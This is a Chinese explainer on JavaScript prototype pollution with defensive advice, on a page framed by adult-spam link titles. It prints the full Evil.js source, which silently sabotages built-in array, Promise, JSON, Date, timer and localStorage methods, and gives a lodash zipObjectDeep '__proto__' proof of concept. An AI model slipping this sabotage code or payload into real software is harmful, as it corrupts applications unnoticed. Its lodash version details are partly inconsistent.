日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不

當前位置:首頁 > 科技  > 軟件

遭了!JavaScript 代碼被投毒了

來源: 責編: 時間:2024-06-18 17:05:23 220觀看
導讀不知大家是否還記得兩年前 Github 出現的一個名為 Evil.js 的項目,其號稱專治 996 公司,實際就是給前端項目“投毒”。本文就來聊一聊這個項目背后的故事:原型污染。原型污染是一種很少被關注但潛在風險嚴重的安全漏洞,它

lBd28資訊網——每日最新資訊28at.com

不知大家是否還記得兩年前 Github 出現的一個名為 Evil.js 的項目,其號稱專治 996 公司,實際就是給前端項目“投毒”。本文就來聊一聊這個項目背后的故事:原型污染。lBd28資訊網——每日最新資訊28at.com

lBd28資訊網——每日最新資訊28at.com

原型污染是一種很少被關注但潛在風險嚴重的安全漏洞,它影響基于原型的編程語言,例如 JavaScript。這種漏洞通過篡改對象的原型鏈,從而影響所有基于該原型的對象lBd28資訊網——每日最新資訊28at.com

基于原型的編程范式

在深入探討原型污染之前,先來回顧一下 JavaScript基于原型的編程范式。lBd28資訊網——每日最新資訊28at.com

JavaScript 的原型機制是其面向對象編程模型的核心,它允許對象通過原型鏈來繼承屬性和方法。在 JavaScript 中,每個對象都有一個與之關聯的原型對象,當試圖訪問一個對象的屬性或方法時,如果該對象本身沒有該屬性,JavaScript 就會查找該對象的原型對象,看原型對象是否有這個屬性。這個過程會一直持續到原型鏈的末端,即 Object.prototype。lBd28資訊網——每日最新資訊28at.com

構造函數是用于創建和初始化新對象的特殊函數。當使用 new 關鍵字調用構造函數時,會創建一個新對象,并將該對象的原型設置為構造函數的 prototype 屬性所指向的對象。每個函數都有一個 prototype 屬性,這個屬性是一個對象,包含了可以由特定類型的所有實例共享的屬性和方法。lBd28資訊網——每日最新資訊28at.com

在 ES6 之前,通常使用非標準的 __proto__ 屬性來訪問或修改一個對象的原型(盡管許多瀏覽器都支持它,但它不是 ECMAScript 標準的一部分)。然而,更推薦的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法來訪問和修改對象的原型。lBd28資訊網——每日最新資訊28at.com

雖然 ES6 引入了 class 和 extends 關鍵字,這兩個關鍵字提供了一種更接近于傳統類繼承的語法糖,但實際上它們仍然是基于原型鏈的。lBd28資訊網——每日最新資訊28at.com

下面來看一個栗子:lBd28資訊網——每日最新資訊28at.com

// 定義一個構造函數  function Car(brand, color) {      this.brand = brand;      this.color = color;  }    // 在 Car 的原型上添加一個方法  Car.prototype.drive = function() {      return "The " + this.brand + " " + this.color + " car is driving away.";  };    // 創建一個 Car 的實例  let redCar = new Car("BMW", "red");    // 訪問實例的屬性  console.log(redCar.brand); // 輸出 "BMW"  console.log(redCar.color); // 輸出 "red"    // 調用實例繼承自原型的方法  console.log(redCar.drive()); // 輸出 "The BMW red car is driving away."    // 創建一個繼承自 Car 的新構造函數  function ElectricCar(brand, color, batteryRange) {      // 調用 Car 的構造函數,繼承其屬性      Car.call(this, brand, color);      this.batteryRange = batteryRange;  }    // 設置 ElectricCar 的原型為 Car 的實例,從而繼承 Car 的方法  ElectricCar.prototype = Object.create(Car.prototype);  ElectricCar.prototype.constructor = ElectricCar;    // 添加 ElectricCar 特有的方法  ElectricCar.prototype.recharge = function() {      return "The " + this.brand + " is recharging.";  };    // 創建一個 ElectricCar 的實例  let tesla = new ElectricCar("Tesla", "blue", 300);    // 訪問繼承的屬性和方法  console.log(tesla.brand); // 輸出 "Tesla"  console.log(tesla.drive()); // 輸出 "The Tesla blue car is driving away."    // 訪問 ElectricCar 特有的方法  console.log(tesla.recharge()); // 輸出 "The Tesla is recharging."

在這個例子中定義了一個 Car 構造函數和一個 ElectricCar 構造函數。ElectricCar 通過將其原型設置為 Car 的一個實例來繼承 Car 的屬性和方法。我們還為 ElectricCar 添加了一個特有的方法 recharge。這樣,ElectricCar 的實例 tesla 就可以訪問繼承自 Car 的屬性和方法,以及 ElectricCar 特有的方法。lBd28資訊網——每日最新資訊28at.com

原型污染

原型污染發生在攻擊者能夠修改 JavaScript 對象原型時。由于JavaScript的原型鏈機制,如果攻擊者能夠操縱或覆蓋某些原型對象的屬性或方法,那么這種修改將會影響到所有繼承自該原型的對象。這可能導致應用的行為異常,甚至被攻擊者利用來執行惡意代碼或竊取敏感數據。lBd28資訊網——每日最新資訊28at.com

原型污染通常發生在以下情況:lBd28資訊網——每日最新資訊28at.com

  • 應用沒有正確驗證或過濾用戶輸入,導致惡意代碼被插入到對象的原型中。
  • 使用了不安全的第三方庫或框架,這些庫或框架可能允許原型被意外修改。

下面來了解兩個原型污染的實際例子。lBd28資訊網——每日最新資訊28at.com

Evil.js

2022年某一天,好多前端群都在瘋傳一個名為 Evil.js 的開源項目,看了一眼,好家伙,不簡單啊:lBd28資訊網——每日最新資訊28at.com

lBd28資訊網——每日最新資訊28at.com

由于這個庫傳播比較廣泛,作者緊急刪除了發布在 npm 的包,并發布了聲明(保命):lBd28資訊網——每日最新資訊28at.com

聲明:本包的作者不參與注入,因引入本包造成的損失本包作者概不負責。lBd28資訊網——每日最新資訊28at.com

故事到這里就結束了。那作者是怎么實現的呢?了解原型的小伙伴第一個想到的應該就是作者修改了這些 JavaScript 內置對象的原型。為了驗證想法,我們來看看源碼:lBd28資訊網——每日最新資訊28at.com

(global => {	/**	 * If the array size is devidable by 7, this function aways fail	 * @zh 當數組長度可以被7整除時,本方法永遠返回false	 */	const _includes = Array.prototype.includes;	Array.prototype.includes = function (...args) {		if (this.length % 7 !== 0) {			return _includes.call(this, ...args);		} else {			return false;		}	};	/**	 * Array.map will always be missing the last element on Sundays	 * @zh 當周日時,Array.map方法的結果總是會丟失最后一個元素	 */	const _map = Array.prototype.map;	Array.prototype.map = function (...args) {		result = _map.call(this, ...args);		if (new Date().getDay() === 0) {			result.length = Math.max(result.length - 1, 0);		}		return result;	}	/**	 * Array.fillter has 10% chance to lose the final element	 * @zh Array.filter的結果有2%的概率丟失最后一個元素	 */	const _filter = Array.prototype.filter;	Array.prototype.filter = function (...args) {		result = _filter.call(this, ...args);		if (Math.random() < 0.02) {			result.length = Math.max(result.length - 1, 0);		}		return result;	}	/**	 * setTimeout will alway trigger 1s later than expected	 * @zh setTimeout總是會比預期時間慢1秒才觸發	 */	const _timeout = global.setTimeout;	global.setTimeout = function (handler, timeout, ...args) {		return _timeout.call(global, handler, +timeout + 1000, ...args);	}	/**	 * Promise.then has a 10% chance will not register on Sundays	 * @zh Promise.then 在周日時有10%幾率不會注冊	 */	const _then = Promise.prototype.then;	Promise.prototype.then = function (...args) {		if (new Date().getDay() === 0 && Math.random() < 0.1) {			return;		} else {			_then.call(this, ...args);		}	}	/**	 * JSON.stringify will replace 'I' into 'l'	 * @zh JSON.stringify 會把'I'變成'l'	 */	const _stringify = JSON.stringify;	JSON.stringify = function (...args) {		return _stringify(...args).replace(/I/g, 'l');	}	/**	 * Date.getTime() always gives the result 1 hour slower	 * @zh Date.getTime() 的結果總是會慢一個小時	 */	const _getTime = Date.prototype.getTime;	Date.prototype.getTime = function (...args) {		let result = _getTime.call(this);		result -= 3600 * 1000;		return result;	}	/**	 * localStorage.getItem has 5% chance return empty string	 * @zh localStorage.getItem 有5%幾率返回空字符串	 */	const _getItem = global.localStorage.getItem;	global.localStorage.getItem = function (...args) {		let result = _getItem.call(global.localStorage, ...args);		if (Math.random() < 0.05) {			result = '';		}		return result;	}})((0, eval('this')));

果然,只要原本是在原型上定義的方法,修改方式都是修改原型。那么,只要這段代碼安裝/插入到前端項目中,就會污染部分 JavaScript 的原型,那么在使用這些原型上的方法時,就會有一定概率出現上面所說的異常情況,這就是原型污染。lBd28資訊網——每日最新資訊28at.com

lodash

下面再來看一下之前 Lodash 被原型污染的故事,存在問題的版本為 4.17.15。lBd28資訊網——每日最新資訊28at.com

在 lodash 的 4.17.15 版本中,存在一個原型污染的漏洞。這個漏洞允許攻擊者通過特定的函數(如 merge、mergeWith、defaultsDeep、zipObjectDeep)來注入或修改 Object.prototype 的屬性。由于這些屬性會被添加到所有對象的原型鏈上,因此它們將影響所有在 JavaScript 環境中創建的對象。lBd28資訊網——每日最新資訊28at.com

比如,利用 Lodash 的 zipObjectDeep 函數,攻擊者可以創建一個對象,并通過特定的鍵(如 __proto__)來污染原型鏈。lBd28資訊網——每日最新資訊28at.com

import _ from 'lodash';_.zipObjectDeep(['__proto__.z'],[123]);console.log(z); // 輸出 123

漏洞影響:lBd28資訊網——每日最新資訊28at.com

  • 服務器崩潰:如果攻擊者注入了惡意代碼或大量數據到原型鏈中,它可能會導致服務器崩潰或變得無法響應所有請求。
  • 遠程代碼執行:在某些情況下,攻擊者可能能夠通過注入特定函數或對象來實現遠程代碼執行。

預防原型污染

要防止原型污染,可以遵循以下幾個步驟和策略:lBd28資訊網——每日最新資訊28at.com

  • 了解原型污染的原因
  • 原型污染的根本原因在于JavaScript的原型鏈繼承機制,使得攻擊者有可能通過修改對象的原型來影響所有基于該原型創建的實例。
  • 惡意代碼的注入,如用戶輸入或第三方API,如果沒有被妥善地校驗和清洗,就可能導致原型污染。
  • 使用安全編程實踐
  • 避免直接修改全局對象的原型:盡量使用其他方式擴展功能,而不是直接修改原型。lBd28資訊網——每日最新資訊28at.com

  • 使用對象的淺拷貝或深拷貝:在創建新的對象時,使用淺拷貝或深拷貝,而不是直接修改原型。lBd28資訊網——每日最新資訊28at.com

  • 避免在第三方庫上修改原型:防止對其他模塊產生意外影響。lBd28資訊網——每日最新資訊28at.com

  • 使用嚴格模式("use strict"):這有助于捕獲一些潛在的原型鏈污染問題。lBd28資訊網——每日最新資訊28at.com

  • 驗證和清理輸入數據lBd28資訊網——每日最新資訊28at.com

  • 確保所有的輸入數據都經過嚴格的驗證,以防惡意數據造成原型污染。lBd28資訊網——每日最新資訊28at.com

  • 對于不可信的數據,實施一系列的驗證措施,包括數據類型、格式、長度等的檢查。lBd28資訊網——每日最新資訊28at.com

  • 使用凍結對象lBd28資訊網——每日最新資訊28at.com

  • 使用Object.freeze()來凍結對象,使其無法被修改。這可以防止攻擊者通過修改凍結對象的原型來造成污染。lBd28資訊網——每日最新資訊28at.com

  • 使用替代數據結構lBd28資訊網——每日最新資訊28at.com

  • 在某些情況下,可以使用Map代替普通的JavaScript對象來儲存鍵值對。因為Map不會受到原型污染的影響。lBd28資訊網——每日最新資訊28at.com

  • 更新和維護第三方庫lBd28資訊網——每日最新資訊28at.com

  • 保持所使用的第三方庫(如lodash等)為最新版本,以利用其中的安全修復。lBd28資訊網——每日最新資訊28at.com

  • 特別是針對已知存在原型污染問題的庫(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),應盡快更新到修復了該問題的版本。lBd28資訊網——每日最新資訊28at.com

本文鏈接:http://m.www897cc.com/showinfo-26-94588-0.html遭了!JavaScript 代碼被投毒了

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。郵件:2376512515@qq.com

上一篇: 異步失效的九種場景及C#示例代碼

下一篇: Kafka如何保證消息的不丟失與不重復

標簽:
  • 熱門焦點
  • SpringBoot中使用Cache提升接口性能詳解

    環境:springboot2.3.12.RELEASE + JSR107 + Ehcache + JPASpring 框架從 3.1 開始,對 Spring 應用程序提供了透明式添加緩存的支持。和事務支持一樣,抽象緩存允許一致地使用各
  • Flowable工作流引擎的科普與實踐

    一.引言當我們在日常工作和業務中需要進行各種審批流程時,可能會面臨一系列技術和業務上的挑戰。手動處理這些審批流程可能會導致開發成本的增加以及業務復雜度的上升。在這
  • 之家push系統迭代之路

    前言在這個信息爆炸的互聯網時代,能夠及時準確獲取信息是當今社會要解決的關鍵問題之一。隨著之家用戶體量和內容規模的不斷增大,傳統的靠"主動拉"獲取信息的方式已不能滿足用
  • 共享單車的故事講到哪了?

    來源丨海克財經與共享充電寶相差不多,共享單車已很久沒有被國內熱點新聞關照到了。除了一再漲價和用戶直呼用不起了。近日多家媒體再發報道稱,成都、天津、鄭州等地多個共享單
  • “又被陳思誠騙了”

    作者|張思齊 出品|眾面(ID:ZhongMian_ZM)如今的國產懸疑電影,成了陳思誠的天下。最近大爆電影《消失的她》票房突破30億斷層奪魁暑期檔,陳思誠再度風頭無兩。你可以說陳思誠的
  • 一條抖音4億人圍觀 ! 這家MCN比無憂傳媒還野

    作者:Hiu 來源:互聯網品牌官01 擦邊少女空降熱搜,幕后推手曝光被網友譽為&ldquo;純欲天花板&rdquo;的女網紅井川里予,近期因為一組哥特風照片登上熱搜,引發了一場互聯網世界關于
  • iQOO Neo8系列今日官宣:首發天璣9200+ 全球安卓最強芯!

    在昨日舉行的的聯發科新一代旗艦芯片天璣9200+的發布會上,iQOO官方也正式宣布,全新的iQOO Neo8系列新品將全球首發搭載這款當前性能最強大的移動平臺
  • 英特爾Xe-HP項目終止,將專注Xe-HPC/HPG系列顯卡

    據10 月 31 日消息報道,英特爾高級副總裁兼加速計算系統和圖形事業部總經理 表示,Xe-HP“ Arctic Sound” 系列服務器 GPU 已經應用于 oneAPI devcloud 云服
  • 電博會與軟博會實現"線下+云端"的雙線融合

    在本次“電博會”與“軟博會”雙展會利好條件的加持下,既可以發揮展會拉動人流、信息流、資金流實現快速交互流動的作用,繼而推動區域經濟良性發展;又可以聚
Top 日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不
欧美激情网站在线观看| 久久久xxx| 日韩视频一区二区| 亚洲视频在线看| 香蕉精品999视频一区二区| 久久国产色av| 欧美国产亚洲精品久久久8v| 欧美日韩在线不卡一区| 国产精品一区二区男女羞羞无遮挡 | 欧美精品日韩三级| 国产精品久久久久久久一区探花| 国产日韩欧美自拍| 亚洲欧洲日本一区二区三区| 亚洲午夜av在线| 久久久久久久一区二区| 欧美日韩国产bt| 国产欧美一区二区三区视频| 亚洲国产一区二区三区a毛片| 一区二区欧美精品| 久久久999| 欧美三级电影大全| 精品1区2区| 亚洲性色视频| 欧美不卡高清| 国产日产精品一区二区三区四区的观看方式 | 欧美日韩亚洲一区二区三区在线 | 亚洲欧美第一页| 牛牛国产精品| 国产日韩欧美二区| 亚洲精品网站在线播放gif| 西西人体一区二区| 欧美久色视频| 欲色影视综合吧| 亚洲欧美日本日韩| 欧美韩国日本综合| 国语精品中文字幕| 亚洲私人影院| 欧美高清视频在线观看| 国产主播一区| 亚洲一区亚洲| 欧美激情综合五月色丁香| 国产午夜精品在线| 在线亚洲高清视频| 欧美成人dvd在线视频| 国产一区二区三区久久久久久久久 | 欧美噜噜久久久xxx| 狠狠色狠狠色综合系列| 亚洲在线免费| 欧美日产在线观看| 亚洲国产高清一区二区三区| 先锋a资源在线看亚洲| 欧美日韩欧美一区二区| 亚洲福利小视频| 久久精品视频在线| 国产毛片精品视频| 在线亚洲免费| 欧美日韩高清一区| 亚洲国产精品尤物yw在线观看| 欧美在线亚洲一区| 国产精品美女久久久浪潮软件| 日韩亚洲欧美一区二区三区| 免费欧美视频| 在线免费精品视频| 久久乐国产精品| 国内精品福利| 久久精品国产欧美亚洲人人爽| 国产精品日韩欧美一区二区三区 | 久久久.com| 国产日韩精品一区| 亚洲欧美成aⅴ人在线观看| 欧美三级视频在线播放| 日韩一级片网址| 欧美人成网站| 日韩亚洲欧美在线观看| 欧美福利专区| 亚洲精品视频一区| 欧美激情中文字幕一区二区| 亚洲黄网站黄| 欧美国产三区| 99国产精品国产精品毛片| 欧美日韩国产成人| av成人老司机| 欧美午夜电影在线观看| 在线一区免费观看| 国产精品jizz在线观看美国 | 午夜欧美大片免费观看| 国产伦精品一区二区三区免费| 亚洲欧美激情在线视频| 国产精品你懂的在线欣赏| 亚洲欧美日韩天堂一区二区| 国产精品午夜av在线| 性色av一区二区三区红粉影视| 国产欧美一区二区白浆黑人| 久久精品99久久香蕉国产色戒| 韩国成人理伦片免费播放| 久久看片网站| 亚洲国产精品一区二区三区 | 伊伊综合在线| 欧美aa在线视频| 亚洲精选大片| 欧美午夜激情在线| 香蕉成人久久| 激情综合自拍| 欧美高清不卡在线| 一区二区欧美日韩| 国产精品一区二区久久国产| 欧美一区二区视频观看视频| 黄色成人av| 欧美成人性网| 亚洲网址在线| 国产一区二区三区在线播放免费观看 | 国产精品视频999| 久久福利影视| 亚洲大黄网站| 欧美日韩免费高清一区色橹橹| 午夜国产不卡在线观看视频| 韩国成人精品a∨在线观看| 欧美丰满少妇xxxbbb| 中国女人久久久| 国产视频一区欧美| 免费亚洲网站| 亚洲一区免费视频| 樱花yy私人影院亚洲| 欧美日韩精品一区二区天天拍小说 | 免费日韩成人| 亚洲特色特黄| 国产一区深夜福利| 欧美日韩免费观看一区二区三区| 亚洲欧美一区二区精品久久久| 黄色一区二区在线观看| 欧美另类专区| 久久精品亚洲精品| 99伊人成综合| 韩国一区电影| 国产精品jizz在线观看美国| 久久人人97超碰精品888| 艳妇臀荡乳欲伦亚洲一区| 国产日韩精品一区观看| 欧美高清在线视频观看不卡| 亚洲欧美激情四射在线日| 亚洲欧洲一区二区天堂久久 | 亚洲一本大道在线| 伊人伊人伊人久久| 国产精品美女久久久| 欧美成人第一页| 欧美综合国产精品久久丁香| 日韩一级视频免费观看在线| 国产综合在线视频| 国产精品成人免费| 欧美成人激情视频| 欧美一区二区三区啪啪| 日韩系列欧美系列| 激情久久久久久久| 国产精品日韩久久久| 欧美aa国产视频| 久久精品人人做人人爽| 亚洲图片在线| 亚洲欧洲精品一区二区三区不卡| 国产一区二区三区在线观看视频 | 在线欧美电影| 国产日韩欧美一区二区| 欧美日韩亚洲三区| 欧美jjzz| 久久久国产精品一区二区三区| 亚洲私拍自拍| 亚洲美女免费精品视频在线观看| 国产最新精品精品你懂的| 国产精品免费视频xxxx| 欧美日韩不卡合集视频| 麻豆av福利av久久av| 久久国产日本精品| 午夜精品福利一区二区蜜股av| 亚洲精品少妇30p| 亚洲第一网站免费视频| 国外成人在线视频| 国产中文一区二区| 国产日韩欧美一区二区三区四区| 欧美日韩精品不卡| 欧美大片一区二区| 蜜桃av噜噜一区| 久久久久久有精品国产| 欧美在线影院| 欧美在线视频免费| 午夜精品一区二区三区电影天堂 | av成人激情| 亚洲美女精品成人在线视频| 亚洲高清在线播放| **网站欧美大片在线观看| 狠狠色噜噜狠狠色综合久| 国产视频一区免费看| 国产三级精品三级| 国产一区二区三区的电影 | 欧美精品激情在线观看| 欧美成在线视频| 欧美www在线| 欧美大色视频| 欧美成人精品在线视频| 免费高清在线一区| 免费在线看一区| 欧美精品1区2区3区| 欧美日韩国产高清| 欧美午夜精品一区| 国产精品国产亚洲精品看不卡15| 欧美视频中文在线看|